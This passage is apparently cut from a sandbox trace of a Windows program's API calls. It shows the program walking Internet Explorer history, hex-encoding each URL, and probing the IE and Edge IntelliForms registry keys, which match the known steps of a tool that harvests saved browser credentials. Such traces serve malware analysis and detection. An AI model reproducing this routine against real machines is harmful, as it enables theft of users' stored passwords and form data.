lpString1="A6C04F6FC079FDEAAB34A264ED42") returned="A6C04F6FC079FDEAAB34A264ED42" [0053.620] LocalFree (hMem=0x758cb8) returned 0x0 [0053.620] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="04") returned 2 [0053.620] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x758cb8 [0053.620] lstrcpyA (in: lpString1=0x758cb8, lpString2="A6C04F6FC079FDEAAB34A264ED42" | out: lpString1="A6C04F6FC079FDEAAB34A264ED42") returned="A6C04F6FC079FDEAAB34A264ED42" [0053.620] lstrcatA (in: lpString1="A6C04F6FC079FDEAAB34A264ED42", lpString2="04" | out: lpString1="A6C04F6FC079FDEAAB34A264ED4204") returned="A6C04F6FC079FDEAAB34A264ED4204" [0053.620] LocalFree (hMem=0x758b68) returned 0x0 [0053.620] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="37") returned 2 [0053.620] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x755270 [0053.620] lstrcpyA (in: lpString1=0x755270, lpString2="A6C04F6FC079FDEAAB34A264ED4204" | out: lpString1="A6C04F6FC079FDEAAB34A264ED4204") returned="A6C04F6FC079FDEAAB34A264ED4204" [0053.620] lstrcatA (in: lpString1="A6C04F6FC079FDEAAB34A264ED4204", lpString2="37" | out: lpString1="A6C04F6FC079FDEAAB34A264ED420437") returned="A6C04F6FC079FDEAAB34A264ED420437" [0053.620] LocalFree (hMem=0x758cb8) returned 0x0 [0053.620] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="D2") returned 2 [0053.620] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x755110 [0053.620] lstrcpyA (in: lpString1=0x755110, lpString2="A6C04F6FC079FDEAAB34A264ED420437" | out: lpString1="A6C04F6FC079FDEAAB34A264ED420437") returned="A6C04F6FC079FDEAAB34A264ED420437" [0053.620] lstrcatA (in: lpString1="A6C04F6FC079FDEAAB34A264ED420437", lpString2="D2" | out: lpString1="A6C04F6FC079FDEAAB34A264ED420437D2") returned="A6C04F6FC079FDEAAB34A264ED420437D2" [0053.620] LocalFree (hMem=0x755270) returned 0x0 [0053.620] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="1D") returned 2 [0053.620] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x755270 [0053.620] lstrcpyA (in: lpString1=0x755270, lpString2="A6C04F6FC079FDEAAB34A264ED420437D2" | out: lpString1="A6C04F6FC079FDEAAB34A264ED420437D2") returned="A6C04F6FC079FDEAAB34A264ED420437D2" [0053.620] lstrcatA (in: lpString1="A6C04F6FC079FDEAAB34A264ED420437D2", lpString2="1D" | out: lpString1="A6C04F6FC079FDEAAB34A264ED420437D21D") returned="A6C04F6FC079FDEAAB34A264ED420437D21D" [0053.620] LocalFree (hMem=0x755110) returned 0x0 [0053.620] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="C0") returned 2 [0053.620] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x755110 [0053.620] lstrcpyA (in: lpString1=0x755110, lpString2="A6C04F6FC079FDEAAB34A264ED420437D21D" | out: lpString1="A6C04F6FC079FDEAAB34A264ED420437D21D") returned="A6C04F6FC079FDEAAB34A264ED420437D21D" [0053.620] lstrcatA (in: lpString1="A6C04F6FC079FDEAAB34A264ED420437D21D", lpString2="C0" | out: lpString1="A6C04F6FC079FDEAAB34A264ED420437D21DC0") returned="A6C04F6FC079FDEAAB34A264ED420437D21DC0" [0053.620] LocalFree (hMem=0x755270) returned 0x0 [0053.620] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="73") returned 2 [0053.620] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x750de0 [0053.620] lstrcpyA (in: lpString1=0x750de0, lpString2="A6C04F6FC079FDEAAB34A264ED420437D21DC0" | out: lpString1="A6C04F6FC079FDEAAB34A264ED420437D21DC0") returned="A6C04F6FC079FDEAAB34A264ED420437D21DC0" [0053.620] lstrcatA (in: lpString1="A6C04F6FC079FDEAAB34A264ED420437D21DC0", lpString2="73" | out: lpString1="A6C04F6FC079FDEAAB34A264ED420437D21DC073") returned="A6C04F6FC079FDEAAB34A264ED420437D21DC073" [0053.620] LocalFree (hMem=0x755110) returned 0x0 [0053.621] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="B5") returned 2 [0053.621] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x750f50 [0053.621] lstrcpyA (in: lpString1=0x750f50, lpString2="A6C04F6FC079FDEAAB34A264ED420437D21DC073" | out: lpString1="A6C04F6FC079FDEAAB34A264ED420437D21DC073") returned="A6C04F6FC079FDEAAB34A264ED420437D21DC073" [0053.621] lstrcatA (in: lpString1="A6C04F6FC079FDEAAB34A264ED420437D21DC073", lpString2="B5" | out: lpString1="A6C04F6FC079FDEAAB34A264ED420437D21DC073B5") returned="A6C04F6FC079FDEAAB34A264ED420437D21DC073B5" [0053.621] LocalFree (hMem=0x750de0) returned 0x0 [0053.621] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.621] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.621] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.621] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.621] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.621] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.621] LocalFree (hMem=0x750f50) returned 0x0 [0053.621] CoTaskMemFree (pv=0x763798) [0053.621] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.621] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/u-%206CkqbOaQ8_6wwD.png", lpSrch="?") returned 0x0 [0053.621] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/u-%206CkqbOaQ8_6wwD.png") returned 66 [0053.621] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="22") returned 2 [0053.621] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x760870 [0053.621] lstrcpyA (in: lpString1=0x760870, lpString2="" | out: lpString1="") returned="" [0053.621] lstrcatA (in: lpString1="", lpString2="22" | out: lpString1="22") returned="22" [0053.621] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="F0") returned 2 [0053.621] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x760900 [0053.621] lstrcpyA (in: lpString1=0x760900, lpString2="22" | out: lpString1="22") returned="22" [0053.621] lstrcatA (in: lpString1="22", lpString2="F0" | out: lpString1="22F0") returned="22F0" [0053.621] LocalFree (hMem=0x760870) returned 0x0 [0053.621] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="B2") returned 2 [0053.621] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x760870 [0053.621] lstrcpyA (in: lpString1=0x760870, lpString2="22F0" | out: lpString1="22F0") returned="22F0" [0053.621] lstrcatA (in: lpString1="22F0", lpString2="B2" | out: lpString1="22F0B2") returned="22F0B2" [0053.621] LocalFree (hMem=0x760900) returned 0x0 [0053.621] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="4C") returned 2 [0053.622] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x76a330 [0053.622] lstrcpyA (in: lpString1=0x76a330, lpString2="22F0B2" | out: lpString1="22F0B2") returned="22F0B2" [0053.622] lstrcatA (in: lpString1="22F0B2", lpString2="4C" | out: lpString1="22F0B24C") returned="22F0B24C" [0053.622] LocalFree (hMem=0x760870) returned 0x0 [0053.622] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="7E") returned 2 [0053.622] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x76a4f8 [0053.622] lstrcpyA (in: lpString1=0x76a4f8, lpString2="22F0B24C" | out: lpString1="22F0B24C") returned="22F0B24C" [0053.622] lstrcatA (in: lpString1="22F0B24C", lpString2="7E" | out: lpString1="22F0B24C7E") returned="22F0B24C7E" [0053.622] LocalFree (hMem=0x76a330) returned 0x0 [0053.622] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="61") returned 2 [0053.622] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x76a330 [0053.622] lstrcpyA (in: lpString1=0x76a330, lpString2="22F0B24C7E" | out: lpString1="22F0B24C7E") returned="22F0B24C7E" [0053.622] lstrcatA (in: lpString1="22F0B24C7E", lpString2="61" | out: lpString1="22F0B24C7E61") returned="22F0B24C7E61" [0053.622] LocalFree (hMem=0x76a4f8) returned 0x0 [0053.622] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="63") returned 2 [0053.622] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x76a4f8 [0053.622] lstrcpyA (in: lpString1=0x76a4f8, lpString2="22F0B24C7E61" | out: lpString1="22F0B24C7E61") returned="22F0B24C7E61" [0053.622] lstrcatA (in: lpString1="22F0B24C7E61", lpString2="63" | out: lpString1="22F0B24C7E6163") returned="22F0B24C7E6163" [0053.622] LocalFree (hMem=0x76a330) returned 0x0 [0053.622] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="E5") returned 2 [0053.622] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x763798 [0053.622] lstrcpyA (in: lpString1=0x763798, lpString2="22F0B24C7E6163" | out: lpString1="22F0B24C7E6163") returned="22F0B24C7E6163" [0053.622] lstrcatA (in: lpString1="22F0B24C7E6163", lpString2="E5" | out: lpString1="22F0B24C7E6163E5") returned="22F0B24C7E6163E5" [0053.622] LocalFree (hMem=0x76a4f8) returned 0x0 [0053.622] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="50") returned 2 [0053.622] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x7638d8 [0053.622] lstrcpyA (in: lpString1=0x7638d8, lpString2="22F0B24C7E6163E5" | out: lpString1="22F0B24C7E6163E5") returned="22F0B24C7E6163E5" [0053.622] lstrcatA (in: lpString1="22F0B24C7E6163E5", lpString2="50" | out: lpString1="22F0B24C7E6163E550") returned="22F0B24C7E6163E550" [0053.622] LocalFree (hMem=0x763798) returned 0x0 [0053.622] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="80") returned 2 [0053.622] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x763798 [0053.622] lstrcpyA (in: lpString1=0x763798, lpString2="22F0B24C7E6163E550" | out: lpString1="22F0B24C7E6163E550") returned="22F0B24C7E6163E550" [0053.622] lstrcatA (in: lpString1="22F0B24C7E6163E550", lpString2="80" | out: lpString1="22F0B24C7E6163E55080") returned="22F0B24C7E6163E55080" [0053.622] LocalFree (hMem=0x7638d8) returned 0x0 [0053.622] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="13") returned 2 [0053.622] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x7638d8 [0053.622] lstrcpyA (in: lpString1=0x7638d8, lpString2="22F0B24C7E6163E55080" | out: lpString1="22F0B24C7E6163E55080") returned="22F0B24C7E6163E55080" [0053.622] lstrcatA (in: lpString1="22F0B24C7E6163E55080", lpString2="13" | out: lpString1="22F0B24C7E6163E5508013") returned="22F0B24C7E6163E5508013" [0053.622] LocalFree (hMem=0x763798) returned 0x0 [0053.622] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="26") returned 2 [0053.622] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x758cb8 [0053.622] lstrcpyA (in: lpString1=0x758cb8, lpString2="22F0B24C7E6163E5508013" | out: lpString1="22F0B24C7E6163E5508013") returned="22F0B24C7E6163E5508013" [0053.622] lstrcatA (in: lpString1="22F0B24C7E6163E5508013", lpString2="26" | out: lpString1="22F0B24C7E6163E550801326") returned="22F0B24C7E6163E550801326" [0053.622] LocalFree (hMem=0x7638d8) returned 0x0 [0053.622] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="CA") returned 2 [0053.622] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x758b68 [0053.622] lstrcpyA (in: lpString1=0x758b68, lpString2="22F0B24C7E6163E550801326" | out: lpString1="22F0B24C7E6163E550801326") returned="22F0B24C7E6163E550801326" [0053.622] lstrcatA (in: lpString1="22F0B24C7E6163E550801326", lpString2="CA" | out: lpString1="22F0B24C7E6163E550801326CA") returned="22F0B24C7E6163E550801326CA" [0053.622] LocalFree (hMem=0x758cb8) returned 0x0 [0053.622] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="34") returned 2 [0053.622] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x758cb8 [0053.622] lstrcpyA (in: lpString1=0x758cb8, lpString2="22F0B24C7E6163E550801326CA" | out: lpString1="22F0B24C7E6163E550801326CA") returned="22F0B24C7E6163E550801326CA" [0053.622] lstrcatA (in: lpString1="22F0B24C7E6163E550801326CA", lpString2="34" | out: lpString1="22F0B24C7E6163E550801326CA34") returned="22F0B24C7E6163E550801326CA34" [0053.622] LocalFree (hMem=0x758b68) returned 0x0 [0053.623] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="82") returned 2 [0053.623] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x758b68 [0053.623] lstrcpyA (in: lpString1=0x758b68, lpString2="22F0B24C7E6163E550801326CA34" | out: lpString1="22F0B24C7E6163E550801326CA34") returned="22F0B24C7E6163E550801326CA34" [0053.623] lstrcatA (in: lpString1="22F0B24C7E6163E550801326CA34", lpString2="82" | out: lpString1="22F0B24C7E6163E550801326CA3482") returned="22F0B24C7E6163E550801326CA3482" [0053.623] LocalFree (hMem=0x758cb8) returned 0x0 [0053.623] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="B0") returned 2 [0053.623] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x755110 [0053.623] lstrcpyA (in: lpString1=0x755110, lpString2="22F0B24C7E6163E550801326CA3482" | out: lpString1="22F0B24C7E6163E550801326CA3482") returned="22F0B24C7E6163E550801326CA3482" [0053.623] lstrcatA (in: lpString1="22F0B24C7E6163E550801326CA3482", lpString2="B0" | out: lpString1="22F0B24C7E6163E550801326CA3482B0") returned="22F0B24C7E6163E550801326CA3482B0" [0053.623] LocalFree (hMem=0x758b68) returned 0x0 [0053.623] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="85") returned 2 [0053.623] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x755270 [0053.623] lstrcpyA (in: lpString1=0x755270, lpString2="22F0B24C7E6163E550801326CA3482B0" | out: lpString1="22F0B24C7E6163E550801326CA3482B0") returned="22F0B24C7E6163E550801326CA3482B0" [0053.623] lstrcatA (in: lpString1="22F0B24C7E6163E550801326CA3482B0", lpString2="85" | out: lpString1="22F0B24C7E6163E550801326CA3482B085") returned="22F0B24C7E6163E550801326CA3482B085" [0053.623] LocalFree (hMem=0x755110) returned 0x0 [0053.623] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="D1") returned 2 [0053.623] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x755110 [0053.623] lstrcpyA (in: lpString1=0x755110, lpString2="22F0B24C7E6163E550801326CA3482B085" | out: lpString1="22F0B24C7E6163E550801326CA3482B085") returned="22F0B24C7E6163E550801326CA3482B085" [0053.623] lstrcatA (in: lpString1="22F0B24C7E6163E550801326CA3482B085", lpString2="D1" | out: lpString1="22F0B24C7E6163E550801326CA3482B085D1") returned="22F0B24C7E6163E550801326CA3482B085D1" [0053.623] LocalFree (hMem=0x755270) returned 0x0 [0053.623] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="8F") returned 2 [0053.623] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x755270 [0053.623] lstrcpyA (in: lpString1=0x755270, lpString2="22F0B24C7E6163E550801326CA3482B085D1" | out: lpString1="22F0B24C7E6163E550801326CA3482B085D1") returned="22F0B24C7E6163E550801326CA3482B085D1" [0053.623] lstrcatA (in: lpString1="22F0B24C7E6163E550801326CA3482B085D1", lpString2="8F" | out: lpString1="22F0B24C7E6163E550801326CA3482B085D18F") returned="22F0B24C7E6163E550801326CA3482B085D18F" [0053.623] LocalFree (hMem=0x755110) returned 0x0 [0053.623] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="63") returned 2 [0053.623] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x750f50 [0053.623] lstrcpyA (in: lpString1=0x750f50, lpString2="22F0B24C7E6163E550801326CA3482B085D18F" | out: lpString1="22F0B24C7E6163E550801326CA3482B085D18F") returned="22F0B24C7E6163E550801326CA3482B085D18F" [0053.623] lstrcatA (in: lpString1="22F0B24C7E6163E550801326CA3482B085D18F", lpString2="63" | out: lpString1="22F0B24C7E6163E550801326CA3482B085D18F63") returned="22F0B24C7E6163E550801326CA3482B085D18F63" [0053.623] LocalFree (hMem=0x755270) returned 0x0 [0053.623] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="B8") returned 2 [0053.623] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x750de0 [0053.623] lstrcpyA (in: lpString1=0x750de0, lpString2="22F0B24C7E6163E550801326CA3482B085D18F63" | out: lpString1="22F0B24C7E6163E550801326CA3482B085D18F63") returned="22F0B24C7E6163E550801326CA3482B085D18F63" [0053.623] lstrcatA (in: lpString1="22F0B24C7E6163E550801326CA3482B085D18F63", lpString2="B8" | out: lpString1="22F0B24C7E6163E550801326CA3482B085D18F63B8") returned="22F0B24C7E6163E550801326CA3482B085D18F63B8" [0053.623] LocalFree (hMem=0x750f50) returned 0x0 [0053.623] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.623] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.623] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.623] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.623] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.624] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.624] LocalFree (hMem=0x750de0) returned 0x0 [0053.624] CoTaskMemFree (pv=0x7607e0) [0053.624] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.624] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/cTSmIATk-iiB1WNaSfIS.bmp", lpSrch="?") returned 0x0 [0053.624] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/cTSmIATk-iiB1WNaSfIS.bmp") returned 74 [0053.624] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="29") returned 2 [0053.624] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x7607e0 [0053.624] lstrcpyA (in: lpString1=0x7607e0, lpString2="" | out: lpString1="") returned="" [0053.624] lstrcatA (in: lpString1="", lpString2="29" | out: lpString1="29") returned="29" [0053.624] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="78") returned 2 [0053.624] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x760990 [0053.624] lstrcpyA (in: lpString1=0x760990, lpString2="29" | out: lpString1="29") returned="29" [0053.624] lstrcatA (in: lpString1="29", lpString2="78" | out: lpString1="2978") returned="2978" [0053.624] LocalFree (hMem=0x7607e0) returned 0x0 [0053.624] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="69") returned 2 [0053.624] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x7607e0 [0053.624] lstrcpyA (in: lpString1=0x7607e0, lpString2="2978" | out: lpString1="2978") returned="2978" [0053.624] lstrcatA (in: lpString1="2978", lpString2="69" | out: lpString1="297869") returned="297869" [0053.624] LocalFree (hMem=0x760990) returned 0x0 [0053.624] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="48") returned 2 [0053.624] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x76a330 [0053.624] lstrcpyA (in: lpString1=0x76a330, lpString2="297869" | out: lpString1="297869") returned="297869" [0053.624] lstrcatA (in: lpString1="297869", lpString2="48" | out: lpString1="29786948") returned="29786948" [0053.624] LocalFree (hMem=0x7607e0) returned 0x0 [0053.624] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="20") returned 2 [0053.624] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x76a4f8 [0053.624] lstrcpyA (in: lpString1=0x76a4f8, lpString2="29786948" | out: lpString1="29786948") returned="29786948" [0053.624] lstrcatA (in: lpString1="29786948", lpString2="20" | out: lpString1="2978694820") returned="2978694820" [0053.624] LocalFree (hMem=0x76a330) returned 0x0 [0053.624] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="C3") returned 2 [0053.624] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x76a330 [0053.624] lstrcpyA (in: lpString1=0x76a330, lpString2="2978694820" | out: lpString1="2978694820") returned="2978694820" [0053.624] lstrcatA (in: lpString1="2978694820", lpString2="C3" | out: lpString1="2978694820C3") returned="2978694820C3" [0053.624] LocalFree (hMem=0x76a4f8) returned 0x0 [0053.624] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="97") returned 2 [0053.624] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x76a4f8 [0053.624] lstrcpyA (in: lpString1=0x76a4f8, lpString2="2978694820C3" | out: lpString1="2978694820C3") returned="2978694820C3" [0053.624] lstrcatA (in: lpString1="2978694820C3", lpString2="97" | out: lpString1="2978694820C397") returned="2978694820C397" [0053.624] LocalFree (hMem=0x76a330) returned 0x0 [0053.624] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="B0") returned 2 [0053.624] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x763a18 [0053.624] lstrcpyA (in: lpString1=0x763a18, lpString2="2978694820C397" | out: lpString1="2978694820C397") returned="2978694820C397" [0053.625] lstrcatA (in: lpString1="2978694820C397", lpString2="B0" | out: lpString1="2978694820C397B0") returned="2978694820C397B0" [0053.625] LocalFree (hMem=0x76a4f8) returned 0x0 [0053.625] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="90") returned 2 [0053.625] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x763ab8 [0053.625] lstrcpyA (in: lpString1=0x763ab8, lpString2="2978694820C397B0" | out: lpString1="2978694820C397B0") returned="2978694820C397B0" [0053.625] lstrcatA (in: lpString1="2978694820C397B0", lpString2="90" | out: lpString1="2978694820C397B090") returned="2978694820C397B090" [0053.625] LocalFree (hMem=0x763a18) returned 0x0 [0053.625] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="B4") returned 2 [0053.625] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x763a18 [0053.625] lstrcpyA (in: lpString1=0x763a18, lpString2="2978694820C397B090" | out: lpString1="2978694820C397B090") returned="2978694820C397B090" [0053.625] lstrcatA (in: lpString1="2978694820C397B090", lpString2="B4" | out: lpString1="2978694820C397B090B4") returned="2978694820C397B090B4" [0053.625] LocalFree (hMem=0x763ab8) returned 0x0 [0053.625] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="03") returned 2 [0053.625] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x763ab8 [0053.625] lstrcpyA (in: lpString1=0x763ab8, lpString2="2978694820C397B090B4" | out: lpString1="2978694820C397B090B4") returned="2978694820C397B090B4" [0053.625] lstrcatA (in: lpString1="2978694820C397B090B4", lpString2="03" | out: lpString1="2978694820C397B090B403") returned="2978694820C397B090B403" [0053.625] LocalFree (hMem=0x763a18) returned 0x0 [0053.625] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="FE") returned 2 [0053.625] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x758b68 [0053.625] lstrcpyA (in: lpString1=0x758b68, lpString2="2978694820C397B090B403" | out: lpString1="2978694820C397B090B403") returned="2978694820C397B090B403" [0053.625] lstrcatA (in: lpString1="2978694820C397B090B403", lpString2="FE" | out: lpString1="2978694820C397B090B403FE") returned="2978694820C397B090B403FE" [0053.625] LocalFree (hMem=0x763ab8) returned 0x0 [0053.625] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="0F") returned 2 [0053.625] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x758cb8 [0053.625] lstrcpyA (in: lpString1=0x758cb8, lpString2="2978694820C397B090B403FE" | out: lpString1="2978694820C397B090B403FE") returned="2978694820C397B090B403FE" [0053.625] lstrcatA (in: lpString1="2978694820C397B090B403FE", lpString2="0F" | out: lpString1="2978694820C397B090B403FE0F") returned="2978694820C397B090B403FE0F" [0053.625] LocalFree (hMem=0x758b68) returned 0x0 [0053.625] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="F2") returned 2 [0053.625] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x758b68 [0053.625] lstrcpyA (in: lpString1=0x758b68, lpString2="2978694820C397B090B403FE0F" | out: lpString1="2978694820C397B090B403FE0F") returned="2978694820C397B090B403FE0F" [0053.625] lstrcatA (in: lpString1="2978694820C397B090B403FE0F", lpString2="F2" | out: lpString1="2978694820C397B090B403FE0FF2") returned="2978694820C397B090B403FE0FF2" [0053.625] LocalFree (hMem=0x758cb8) returned 0x0 [0053.625] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="F0") returned 2 [0053.625] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x758cb8 [0053.626] lstrcpyA (in: lpString1=0x758cb8, lpString2="2978694820C397B090B403FE0FF2" | out: lpString1="2978694820C397B090B403FE0FF2") returned="2978694820C397B090B403FE0FF2" [0053.626] lstrcatA (in: lpString1="2978694820C397B090B403FE0FF2", lpString2="F0" | out: lpString1="2978694820C397B090B403FE0FF2F0") returned="2978694820C397B090B403FE0FF2F0" [0053.626] LocalFree (hMem=0x758b68) returned 0x0 [0053.626] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="3F") returned 2 [0053.626] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x755270 [0053.626] lstrcpyA (in: lpString1=0x755270, lpString2="2978694820C397B090B403FE0FF2F0" | out: 